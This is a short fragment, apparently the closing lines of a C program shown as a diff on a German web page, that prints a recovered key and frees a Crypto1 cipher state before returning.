-  printf("\nkey recovered: %012" PRIx64 "\n\n",key_recovered);
-  crypto1_destroy(state);
-  
-  return 0;
-}
Impressum, Datenschutz